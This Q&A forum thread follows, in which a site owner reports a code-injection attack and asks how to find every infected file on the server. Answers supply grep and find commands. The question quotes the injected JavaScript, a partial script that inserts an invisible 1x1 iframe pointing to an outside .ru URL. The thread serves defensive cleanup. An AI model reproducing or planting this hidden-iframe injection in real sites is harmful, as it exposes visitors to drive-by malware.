One of my website on my webserver has suffered an attack : code injection.

Here is the malicious code :

<script type=\"text/javascript\" language=\"javascript\">
(function () {     
    var t = document.createElement('iframe');    
    t.src = 'http://ahtiagge.ru/count27.php';    
    t.style.position = 'absolute';    
    t.style.border = '0';    
    t.style.height = '1px';    
    t.style.width = '1px';    
    t.style.left = '1px';    
    t.style.top = '1px';    
    if (!document.getElementById('t')) {        
        document.write('<div id=\'t\'></div>');

I want to know the name (and path) of all files coutains the expression on my server to stanch the contagion. Here is the expression i want to match :'http://ahtiagge.ru/count27.php'

I would like results like that :


How can I solve this with a shell script ? is it possible ?

  • 1
    would a simple grep -rl 'http://ahtiagge.ru/count27.php' /var/www/vhosts/site1.com/httpdocs/* work for you? – Drake Clarris Dec 26 '12 at 14:47
  • can I redirect the output in a file like grep -rl 'ahtiagge.ru/count27.php' /var/www/vhosts/site1.com/httpdocs/* > scran.txt ? – Raphaël Dec 26 '12 at 14:48
  • yeah of course. – Drake Clarris Dec 26 '12 at 14:54
  • 2
    careful, Raphaël, you added a ";" after "php'" which shouldn't be here : it would separate the command into 2 commands, the 2nd one launching "/var/www/...../site1.com" with arguments "/httpdocs/*" ... just drop the ";". – Olivier Dulac Dec 26 '12 at 16:08
  • ha good catch didn't see that – Drake Clarris Dec 26 '12 at 16:25

You can simply use grep for the same

grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/

or only check in *.php files only with the help of find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"
| improve this answer | |

I like this command:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .


| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.